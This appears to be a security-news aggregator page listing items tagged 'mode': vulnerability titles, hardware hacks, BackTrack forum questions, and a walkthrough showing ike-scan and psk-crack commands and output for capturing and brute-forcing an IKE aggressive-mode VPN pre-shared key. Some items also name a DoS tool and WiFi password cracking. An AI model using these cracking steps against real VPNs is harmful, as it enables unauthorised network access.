jetlib.sec » Tags » mode

Feeds

133445 items (0 unread) in 27 feeds

• 1337day (was: Inj3ct0r, 1337db)
• OSVDB Vulnerabilities
• Exploit-DB
• SecurityFocus Vulnerabilities
• Bugtraq
• Full Disclosure
• XSSed
• Packet Storm Security Headlines
• Packet Storm Security Advisories
• Packet Storm Security Exploits
• Packet Storm Security Recent Files
• Packet Storm Security Tools
• Packet Storm Security Misc. Files
• Sophos security news
• Sophos product advisories
• Penetration Testing
• SecuriTeam
• BackTrack Linux Forums
• Threatpost
• SecDocs
• carnal0wnage.attackresearch.com
• Carnal0wnage
• Kernel Fun
• Darknet
• The Exploitant
• Hack a Day
• Wirevolution

65 items tagged "mode"

Related tags: vulnerability [+], universal dos [+], unattended mode [+], tool [+], r u dead yet [+], debug [+], safe mode [+], php [+], tempnam [+], restriction [+], user [+], security vulnerabilities [+], proxy mode [+], proxy [+], phpcas [+], fetchmail [+], Wireless [+], typo [+], tor browser [+], tor [+], oracle enterprise manager [+], oracle [+], manager notifruleinfo [+], hacks [+], enterprise [+], domain names [+], database versions [+], control versions [+], bundle [+], BackTrack [+], windows nt user [+], windows [+], super ad blocker [+], ring 0 [+], proof of concept [+], proc [+], parameter [+], monitor [+], mode restriction [+], kernel space [+], escalation [+], device [+], denial of service [+], xinha [+], xbox [+], working [+], wireshark [+], wireless usb [+], windows applications [+], wifi [+], virtualisation [+], very useful tool [+], usb card [+], usb [+], there [+], tar bz2 [+], symphony [+], supply [+], stretch [+], stock appearance [+], softap [+], sleep mode [+], silently [+], scart [+], samsung [+], ruby [+], root [+], remote control [+], pyrit [+], pwning [+], psk [+], production servers [+], problem [+], power supply repair [+], power [+], pic tutorials [+], pic [+], phone [+], pearl [+], pcs [+], passthrough [+], noob [+], nokia [+], node [+], modprobe [+], mode power supply [+], microcontrollers [+], master mode [+], master [+], lot [+], linux [+], kanotix [+], jonathan brossard [+], john the ripper [+], john [+], ipad [+], inplace [+], ike main [+], ike aggressive [+], ike [+], ie9 [+], hp pavillion [+], how to [+], host mode [+], host [+], hi friends [+], hash [+], hack [+], gui mode [+], gui [+], graphical mode [+], feature phones [+], extra power [+], erich [+], dwa [+], dv4 [+], dual mode phone [+], driver 1 [+], debian etch [+], cuda [+], cross site scripting [+], cpu mode [+], control registers [+], code coverage [+], cisco unity [+], change mode [+], change [+], cain [+], buffer overflow vulnerability [+], bt4 [+], brute force attack [+], boot screen [+], atheros ar5007 [+], argf [+], android [+], amd processors [+], amd chips [+], amd [+], amateur radio [+], adhoc [+], Support [+], Software [+], Newbie [+], NON [+], Hardware [+], General [+], Area [+], service vulnerability [+], private [+], ntp [+]

• May 16, 2012
• 5:01

  Self-Powered USB Host mode on the HP Touchpad

   » ‎ Hack a Day
  [ften] was having plenty of fun running Android on his HP Touchpad, but he soon discovered that the tablet’s micro USB port didn’t provide enough juice to his peripherals when running in host mode. He started digging around and found the perfect means of providing the extra power while maintaining the device’s stock appearance. He [...]

  Tags:  mode host usb stock-appearance host-mode extra-power android hacks  

• March 19, 2012
• 15:22

  Tor Browser Bundle Debug Mode

   » ‎ Packet Storm Security Advisories
  RelativeLink.sh in Tor browser bundle has a small typo causing debug mode to be always turned on. This, in turn, may log sensitive information like domain names.

  Tags:  mode debug bundle tor tor-browser typo domain-names  

• 15:22

  Tor Browser Bundle Debug Mode

   » ‎ Packet Storm Security Recent Files
  RelativeLink.sh in Tor browser bundle has a small typo causing debug mode to be always turned on. This, in turn, may log sensitive information like domain names.

  Tags:  mode debug bundle tor tor-browser typo domain-names  

• 15:22

  Tor Browser Bundle Debug Mode

   » ‎ Packet Storm Security Misc. Files
  RelativeLink.sh in Tor browser bundle has a small typo causing debug mode to be always turned on. This, in turn, may log sensitive information like domain names.

  Tags:  mode debug bundle tor tor-browser typo domain-names  

• December 07, 2011
• 18:44

  Aggressive Mode VPN -- IKE-Scan, PSK-Crack, and Cain

   » ‎ Carnal0wnage
  There hasnt been much in the way of updates on breaking into VPN servers that have aggressive mode enabled.
  
  ike-scan is probably still your best bet.
  
  If you have no idea what i'm talking about go read this:
  http://www.sersc.org/journals/IJAST/vol8/2.pdf and
  http://www.radarhack.com/dir/papers/Scanning_ike_with_ikescan.pdf
  

  
  In IKE Aggressive mode the authentication hash based on a preshared key (PSK) is transmitted as response to the initial packet of a vpn client that wants to establish an IPSec Tunnel (Hash_R). This hash is not encrypted. It's possible to capture these packets using a sniffer, for example tcpdump and start dictionary or brute force attack against this hash to recover the PSK.
  
  This attack only works in IKE aggressive mode because in IKE Main Mode the hash is already encrypted. Based on such facts IKE aggressive mode is not very secure.

  
  It looks like this:
  

  $ sudo ike-scan 192.168.207.134
  Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
  
  192.168.207.134 Notify message 14 (NO-PROPOSAL-CHOSEN) HDR=(CKY-R=f320d682d5c73797)
  Ending ike-scan 1.9: 1 hosts scanned in 0.096 seconds (10.37 hosts/sec).
  0 returned handshake; 1 returned notify
  
  $ sudo ike-scan -A 192.168.207.134
  Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ikescan/)
  
  192.168.207.134 Aggressive Mode Handshake returned HDR=(CKY-R=f320d6XXXXXXXX) SA=(Enc=3DES Hash=MD5 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800) VID=12f5f28cXXXXXXXXXXXXXXX (Cisco Unity) VID=afcad71368a1XXXXXXXXXXXXXXX(Dead Peer Detection v1.0) VID=06e7719XXXXXXXXXXXXXXXXXXXXXX VID=090026XXXXXXXXXX (XAUTH) KeyExchange(128 bytes) ID(Type=ID_IPV4_ADDR, Value=192.168.207.134) Nonce(20 bytes) Hash(16 bytes)

  To save with some output:
  

  $ sudo ike-scan -A 192.168.207.134 --id=myid -P192-168-207-134key

  Once you have you psk file to crack you're stuck with two options psk-crack and cain
  
  psk-crack is fairly rudamentary
  
  to brute force:
  
  

  $psk-crack -b 5 192-168-207-134key
  Running in brute-force cracking mode
  Brute force with 36 chars up to length 5 will take up to 60466176 iterations
  
  no match found for MD5 hash 5c178d[SNIP]
  Ending psk-crack: 60466176 iterations in 138.019 seconds (438099.56 iterations/sec)

  Default is charset is "0123456789abcdefghijklmnopqrstuvwxyz" can be changed with --charset=
  

  $ psk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134key
  Running in brute-force cracking modde
  Brute force with 63 chars up to length 5 will take up to 992436543 iterations
  

  To dictionary attack:
  
  

  $psk-crack -d /path/to/dictionary 192-168-207-134key
  Running in dictionary cracking mode
  
  no match found for MD5 hash 5c178d[SNIP]
  Ending psk-crack: 14344876 iterations in 33.400 seconds (429483.14 iterations/sec)

  You may find yourself wanting a bit more flexibility or options during bruteforcing or dictionary attacking (i.e. character substition). For this you'll need to use Cain. The problem I ran in to was Cain is a Windows tool and ike-scan is *nix. I couldnt get the windows tool that is floating around to work. Solution...run in vmware and have Cain sniff on your VMware interface. The PSK should show up in passwords of the sniffer tab, then you can select and "send to cracker". Its slow as hell, but more options than psk-crack.
  
  
  

  Tags:  psk mode hash cain there cisco-unity ike ike-main ike-aggressive brute-force-attack  

• September 22, 2011
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• August 09, 2011
• 10:01

  Stretch your circuit’s battery life by putting your PIC to sleep

   » ‎ Hack a Day
  [Rajendra Bhatt] wrote in to share the latest in a series of PIC tutorials, which covers the microcontroller’s Sleep mode – a very useful tool for limiting current consumption in battery-powered applications. He discusses how to put the PIC in sleep mode, as well as some common mistakes to watch out for, such as accidentally [...]

  Tags:  mode pic stretch pic-tutorials sleep-mode very-useful-tool microcontrollers  

• July 27, 2011
• 23:55

  Oracle Enterprise Manager notifRuleInfo$mode Cross Site Scripting

   » ‎ Packet Storm Security Advisories
  Team SHATTER Security Advisory - Oracle Enterprise Manager Grid Control versions 10.1.0.6 and Oracle Enterprise Manager control included in Oracle Database versions 10.1.0.5, 10.2.0.3, and 10.2.0.4 suffer from a cross site scripting vulnerability in the notifRuleInfo$mode page.

  Tags:  mode oracle enterprise manager-notifruleinfo oracle-enterprise-manager control-versions database-versions  

• 23:55

  Oracle Enterprise Manager notifRuleInfo$mode Cross Site Scripting

   » ‎ Packet Storm Security Recent Files
  Team SHATTER Security Advisory - Oracle Enterprise Manager Grid Control versions 10.1.0.6 and Oracle Enterprise Manager control included in Oracle Database versions 10.1.0.5, 10.2.0.3, and 10.2.0.4 suffer from a cross site scripting vulnerability in the notifRuleInfo$mode page.

  Tags:  mode oracle enterprise manager-notifruleinfo oracle-enterprise-manager control-versions database-versions  

• 23:55

  Oracle Enterprise Manager notifRuleInfo$mode Cross Site Scripting

   » ‎ Packet Storm Security Misc. Files
  Team SHATTER Security Advisory - Oracle Enterprise Manager Grid Control versions 10.1.0.6 and Oracle Enterprise Manager control included in Oracle Database versions 10.1.0.5, 10.2.0.3, and 10.2.0.4 suffer from a cross site scripting vulnerability in the notifRuleInfo$mode page.

  Tags:  mode oracle enterprise manager-notifruleinfo oracle-enterprise-manager control-versions database-versions  

• June 07, 2011
• 0:00

  Vuln: Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

  Tags:  mode debug fetchmail service-vulnerability denial-of-service  

• May 06, 2011
• 8:00

  Bugtraq: Silently Pwning Protected-Mode IE9 and Innocent Windows Applications

   » ‎ SecurityFocus Vulnerabilities
  Silently Pwning Protected-Mode IE9 and Innocent Windows Applications

  Tags:  mode silently pwning windows-applications ie9  

• April 26, 2011
• 8:42

  SCART hack automatically selects TV’s AV mode

   » ‎ Hack a Day
  We’re sure there’s still a lot of folks using their original Xbox either for gaming or as an XBMC device. If you ever owned one yourself you’ll remember that you can’t turn it on with a remote control. If you have to get up and push a button on the front of the black box, [...]

  Tags:  mode lot scart remote-control hack xbox hacks  

• February 06, 2011
• 10:50

  Switched mode power supply repair guide

   » ‎ Hack a Day
  [Erich] spotted a broken DVD recorder at a local amateur radio meeting and decided to see if he could restore it to working order. While he was fortunate enough that someone labeled it as having a bad power supply, things aren’t always that easy. He gives a broad explanation as to how switched mode power [...]

  Tags:  mode supply power erich mode-power-supply amateur-radio power-supply-repair how-to  

• February 02, 2011
• 0:00

  Vuln: Xinha 'mode' Parameter Cross Site Scripting Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Xinha 'mode' Parameter Cross Site Scripting Vulnerability

  Tags:  mode xinha parameter cross-site-scripting vulnerability  

• January 21, 2011
• 11:11

  R-U-Dead-Yet Denial Of Service Tool 2.2

   » ‎ Packet Storm Security Recent Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• 11:11

  R-U-Dead-Yet Denial Of Service Tool 2.2

   » ‎ Packet Storm Security Misc. Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• January 08, 2011
• 12:17

  R-U-Dead-Yet Denial Of Service Tool 2.1

   » ‎ Packet Storm Security Recent Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• 12:17

  R-U-Dead-Yet Denial Of Service Tool 2.1

   » ‎ Packet Storm Security Misc. Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• December 21, 2010
• 21:25

  [Slides] Breaking Virtualization by switching the CPU to Virtual 8086 Mode

   » ‎ SecDocs
  Authors: Jonathan Brossard
  Tags: virtualization virtual machine vulnerability exploiting evasion
  Event: Ruxcon 2010
  Abstract: In the last five years, virtualisation software has been massively adopted by companies as a means to reduce costs, achieve instant scalability and possibly better their security through isolation. Recent numbers indicate that 78 per cent of companies have their production servers virtualised, and 20 per cent of them actually only rely on virtualised servers. At the same time security auditing of such software poses unique challenges, in particular when it comes to dynamic testing. In this presentation, I describe a methodology for the security assessment of virtualisation software based on switching the CPU mode to virtual 8086 mode in order to get access to the (possibly virtualised) hardware, that aims at being both generic (applicable to both x86 and x64 architectures) and extremely large in terms of code coverage. I have implemented this technology under the form of a dynamic testing tool which has proved to be very efficient in finding bugs in virtualisation software.

  Tags:  mode virtualisation Software jonathan-brossard cpu-mode production-servers code-coverage  

• December 06, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• November 22, 2010
• 4:15

  R-U-Dead-Yet Denial Of Service Tool 2

   » ‎ Packet Storm Security Recent Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• 4:15

  R-U-Dead-Yet Denial Of Service Tool 2

   » ‎ Packet Storm Security Misc. Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• November 16, 2010
• 9:59

  R-U-Dead-Yet Denial Of Service Tool

   » ‎ Packet Storm Security Recent Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• 9:59

  R-U-Dead-Yet Denial Of Service Tool

   » ‎ Packet Storm Security Misc. Files
  R-U-Dead-Yet is a universal DoS attack tool written in Python. It will attack all and any web applications / servers. Runs either in unattended mode using configuration file or in an interactive auto-discover-web-forms mode.

  Tags:  mode r-u-dead-yet tool unattended-mode denial-of-service universal-dos  

• November 13, 2010
• 13:00

  Debug mode lurking inside AMD chips

   » ‎ Hack a Day
  Looks like some hardware enthusiasts have worked out a method to enable debug mode within AMD processors. The original site isn’t loading for us, but the text has been mirrored in this comment. Getting the chip into debug mode requires access passwords on four control registers. We’ve read through the writeup and it means very little [...]

  Tags:  mode debug amd amd-chips amd-processors control-registers pcs hacks  

• November 08, 2010
• 0:00

  Vuln: phpCAS Proxy Mode Multiple Security Vulnerabilities

   » ‎ SecurityFocus Vulnerabilities
  phpCAS Proxy Mode Multiple Security Vulnerabilities

  Tags:  mode phpcas proxy proxy-mode security-vulnerabilities  

• October 25, 2010
• 0:00

  Vuln: phpCAS Proxy Mode Multiple Security Vulnerabilities

   » ‎ SecurityFocus Vulnerabilities
  phpCAS Proxy Mode Multiple Security Vulnerabilities

  Tags:  mode phpcas proxy proxy-mode security-vulnerabilities  

• October 19, 2010
• 0:00

  Vuln: phpCAS Proxy Mode Multiple Security Vulnerabilities

   » ‎ SecurityFocus Vulnerabilities
  phpCAS Proxy Mode Multiple Security Vulnerabilities

  Tags:  mode phpcas proxy proxy-mode security-vulnerabilities  

• October 15, 2010
• 0:00

  Vuln: Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

  Tags:  mode debug fetchmail service-vulnerability denial-of-service  

• October 14, 2010
• 0:00

  Vuln: phpCAS Proxy Mode Multiple Security Vulnerabilities

   » ‎ SecurityFocus Vulnerabilities
  phpCAS Proxy Mode Multiple Security Vulnerabilities

  Tags:  mode phpcas proxy proxy-mode security-vulnerabilities  

• September 16, 2010
• 0:00

  Vuln: PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability

  Tags:  mode proc php safe-mode vulnerability restriction  

• July 13, 2010
• 0:00

  Vuln: PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability

  Tags:  mode php tempnam safe-mode vulnerability restriction  

• July 11, 2010
• 8:49

  Dual Mode Phone Trends Update 4

   » ‎ Wirevolution

  We are half way through the year, so it’s time for another look at Wi-Fi phone certifications. Three things jump out this time. First, a leap in the number of Wi-Fi phone models in the second quarter of 2010. Second, the arrival of 802.11n in handsets, and third Samsung’s market-leading commitment to 802.11n. According to Rethink Wireless “Samsung’s share of the smartphone market was only about 5% in Q1 but it aims to increase this to almost 15% by year end.” Samsung Wi-Fi-certified a total of 73 dual mode phones in the first six months of 2010, three times as many as second place LG with 23. In the 11n category, Samsung’s lead was even more dominating: its 40 certifications were ten times either of the second place OEMs.

  Here is a chart of dual mode phones certified with the Wi-Fi Alliance from 2008 to June 30th 2010. We usually do this chart stacked, but side-by-side gives a clearer comparison between feature phones and smart phones. Note that up to the middle of 2009, smart phones outpaced feature phones, but then it switched. This is a natural progression of Wi-Fi into the mass market, but may also be exaggerated by a quirk of reporting: of HTC’s 17 certifications in the first half of 2010, it only categorized one as a smart phone.
  

  The chart below shows the growth of 802.11n. It starts in January 2010 because only one 11n phone was certified in 2009, at the end of December. As you can see, the growth is strong. I anticipate that practically all new dual mode phone certifications will be for 802.11n by the end of 2010.

  

  Below is the same chart sliced by manufacturer instead of by month. The iPhone is missing because it wasn’t certified until July, and the iPad is missing because it’s not a phone. With only one 802.11n phone, Nokia has become a technology laggard, at least in this respect. The RIM Pearl 8100/8105 certifications are the only ones with STBC, an important feature for phones because it improves rate at distance. All the major chips (except those from TI) support STBC, so the phone OEMs must be either leaving it disabled or just not bothering to certify for it.

  

  Tags:  samsung mode phone pearl dual-mode-phone feature-phones ipad nokia  

• July 05, 2010
• 0:00

  Vuln: Ruby 'ARGF.inplace_mode' Buffer Overflow Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Ruby 'ARGF.inplace_mode' Buffer Overflow Vulnerability

  Tags:  mode argf inplace ruby buffer-overflow-vulnerability  

• June 17, 2010
• 0:00

  Vuln: PHP 'tempnam()' 'safe_mode' Restriction-Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  PHP 'tempnam()' 'safe_mode' Restriction-Bypass Vulnerability

  Tags:  mode php tempnam mode-restriction safe-mode vulnerability  

• June 01, 2010
• 1:00

  linux/x86 change mode 0777 of "/etc/shadow" sys_chmod syscall 39 bytes

   » ‎ 1337day (was: Inj3ct0r, 1337db)
  linux/x86 change mode 0777 of "/etc/shadow" sys_chmod syscall 39 bytes

  Tags:  mode linux change change-mode  

• May 30, 2010
• 0:00

  Vuln: Symphony 'mode' Parameter Local File Include Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Symphony 'mode' Parameter Local File Include Vulnerability

  Tags:  mode parameter symphony vulnerability  

• May 18, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• May 17, 2010
• 0:00

  Vuln: Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

  Tags:  mode debug fetchmail service-vulnerability denial-of-service  

• May 07, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• May 06, 2010
• 0:00

  Vuln: Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  Fetchmail Debug Mode With Multichar Locale Remote Denial of Service Vulnerability

  Tags:  mode debug fetchmail service-vulnerability denial-of-service  

• April 27, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• April 13, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• April 05, 2010
• 12:29

  BACKTRACK wifi passwords

   » ‎ remote-exploit & backtrack
  hi :)
  i had downloaded the last version of BACKTRACK (version 4) from its official website
  Name: bt4-final.iso
  Size: 1570 MB
  MD5: af139d2a085978618dc53cabc67b9269
  i booted from the DVD and i got the Boot screen from where i can choose from 5 Options.
  i want to get into graphical mode so when i try to do it i got this error :
  ldm_parse_tocblock(): Cannot find TOCBLOCK, database may be corrupt.
  but it countinuous and many operations are done succefully. in the End the Command line appears "root@bt:~#" and wait for me te enter some Commands.
  how should i proceed?
  can anyone confirm the existence of the graphical mode in Backtrack 4?
  how can i get it working on my laptop?
  my laptop is HP DV7 3010eg (5 months old) very good condition.
  Windows 7 german
  PS: i tried to boot from Knoppix or Kanotix CD (i don't know wich is the official name) but i got an error that the Kanotix filesystem does not exist. but the CD works properly in teh Graphical mode on my Desktop PC without any problem.
  Please don't forget my main object is to hack WIFI Passwords. just to know the ways how to do it and how it works to avoid the attacks from others :rolleyes:
  thanks a lot
  

  Tags:  mode BackTrack wifi graphical-mode kanotix boot-screen Newbie Area  

• April 02, 2010
• 2:49

  Wireless ADHoc followed by injection

   » ‎ remote-exploit & backtrack
  Hi friends
  
  This is my setup for adhoc mode wlan
  Quote:

  NODE A IP 192.168.1.3 NetMask 255.255.255.0 Ubuntu 9.10 mode adhoc chipset Atheros9k

  Quote:

  NODE B IP 192.168.1.2 NetMask 255.255.255.0 Sidux mode adhoc chipset BROADCOM4312

  These two communicate very well
  
  However if i change the scenario to
  
  NodeA having BT4 and Node B sidux ..then NODE A is not putting the card in adhoc mode..i guess the issue with ath9k and ath_pci comes out
  
  if i do this
  NODE A sidux and NODE B sidux both go in adhoc mode but do not ping each other
  
  and then i tried this also
  NODE A Debian Etch and NODE B sidux both go in adhoc mode but do no ping each other
  
  Please can someone tell me how to make the adhoc mode work o..as of now only ubuntu karmic seems to behave..
  
  thanx

  Tags:  mode node adhoc bt4 hi-friends debian-etch Wireless  

• March 30, 2010
• 0:00

  Vuln: PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability

  Tags:  mode php tempnam safe-mode vulnerability restriction  

• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• March 29, 2010
• 0:00

  Vuln: PHP 'tempnam()' 'safe_mode' Restriction-Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  PHP 'tempnam()' 'safe_mode' Restriction-Bypass Vulnerability

  Tags:  mode php tempnam mode-restriction safe-mode vulnerability  

• March 24, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• March 19, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• March 11, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• March 10, 2010
• 19:00

  super-vulns.tgz

   » ‎ Packet Storm Security Recent Files
  SUPERAntiSpyware and Super Ad Blocker have almost identical device drivers in order to set up hooks and perform other duties from kernel space. These device drivers suffer from lack of validation of parameters passed from user mode. Additionally, some of the functions accessible from user mode are inherently insecure and lead to easy privilege escalation. All vulnerabilities are applicable to both applications. Proof of concept code included with full advisory.

  Tags:  mode user device kernel-space super-ad-blocker proof-of-concept  

• 19:00

  super-vulns.tgz

   » ‎ Packet Storm Security Exploits
  SUPERAntiSpyware and Super Ad Blocker have almost identical device drivers in order to set up hooks and perform other duties from kernel space. These device drivers suffer from lack of validation of parameters passed from user mode. Additionally, some of the functions accessible from user mode are inherently insecure and lead to easy privilege escalation. All vulnerabilities are applicable to both applications. Proof of concept code included with full advisory.

  Tags:  mode user device kernel-space super-ad-blocker proof-of-concept  

• 17:11

  HP Pavillion dv4 problem

   » ‎ remote-exploit & backtrack
  hi, i have an Hp Pavilion Dv4-2012 laptop with ati hd 4200 video card, the problem is when i load the bt4 final live cd it loads everything fine until the gui mode startx, when i try to load the gui startx i receive a message Mode not supported, and returns to console mode. what can i do to solve this problem?

  Tags:  mode problem gui hp-pavillion dv4 gui-mode BackTrack NON working Hardware  

• March 07, 2010
• 14:20

  Atheros in master mode AP doesn't work in BT4F?

   » ‎ remote-exploit & backtrack
  Hi all, BT4 Final is great! But creating a fake AP in master mode on my atheros ar5007 doesn't seem to work. I like master mode for its great AP speeds. I can't get a softAP over 5kB/s, no matter what MTU I try.
  I'm using nick_the_greek's great wlan_nick script, as an aid in creating them. master mode in bt4pf was like I had a 50+kB/s normal AP, low latency and everything.
  ath5k drivers don't support master mode. Now I tried the latest madwifi-ng drivers. I can make an ath0 VAP in master mode, but when I try starting airbase, it fails:
  Code: madwifi-ng drivers:
root@bt:~# wlanconfig ath0 destroy
root@bt:~# ip link set dev wifi0 down
root@bt:~# wlanconfig ath0 create wlandev wifi0 wlanmode master
root@bt:~# iwconfig | grep "Mode:"
ath0      Mode:Master

root@bt:~# airbase-ng ath0
ioctl(SIOCSIWMODE) failed: Invalid argument

root@bt:~# airbase-ng wifi0 (works fine) Code: ath5k drivers:
root@bt:~# ifconfig wlan0 down
root@bt:~# iwconfig wlan0 mode master
Error for wireless request "Set Mode" (8B06) :
    SET failed on device wlan0 ; Invalid argument
root@bt:~# iwconfig wlan0 mode managed  (works fine) So for some reason with BT4F, I can only create a softap on wlan0, mon0 or wifi0, but can't create a master mode AP. Am I overlooking somthing?
  With BT4 PF and beta it seemed to work fine tho...
  Ideas anyone?..

  Tags:  mode master root master-mode softap atheros-ar5007 Wireless  

• March 05, 2010
• 0:00

  Vuln: PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  PHP 'proc_open()' 'safe_mode_protected_env_var' Restriction-Bypass Vulnerability

  Tags:  mode proc php safe-mode vulnerability restriction  

• March 04, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• March 02, 2010
• 0:00

  Vuln: NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  NTP mode 7 MODE_PRIVATE Packet Remote Denial of Service Vulnerability

  Tags:  mode private ntp service-vulnerability denial-of-service  

• February 27, 2010
• 1:06

  Pyrit Passthrough Mode

   » ‎ remote-exploit & backtrack
  Hey guys, I just want to say thank you for all the valuable information on here. I have learned a lot by just reading. I wanted to wait until I had a really good question to make my first post. I really hope this hasn't been answered already. If it has, I'm sorry. Must have missed it. I've been googling for hours trying to find a specific answer but I can't find it. Here goes...is it possible (using CUDA) to use John-the-ripper to generate passwords, have Pyrit compute the hash's and pipe directly to cowpatty to crack? If it is possible, what would be the command for that? I consider myself somewhat of a noob, so please don't assume I know something ;) Thank you!

  Tags:  pyrit mode passthrough john john-the-ripper cuda noob Wireless  

• February 26, 2010
• 0:00

  Vuln: PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability

   » ‎ SecurityFocus Vulnerabilities
  PHP 'tempnam()' 'safe_mode' Validation Restriction-Bypass Vulnerability

  Tags:  mode php tempnam safe-mode vulnerability restriction  

• February 24, 2010
• 19:39

  Atheros AR9285 Not Working in Monitor Mode

   » ‎ remote-exploit & backtrack
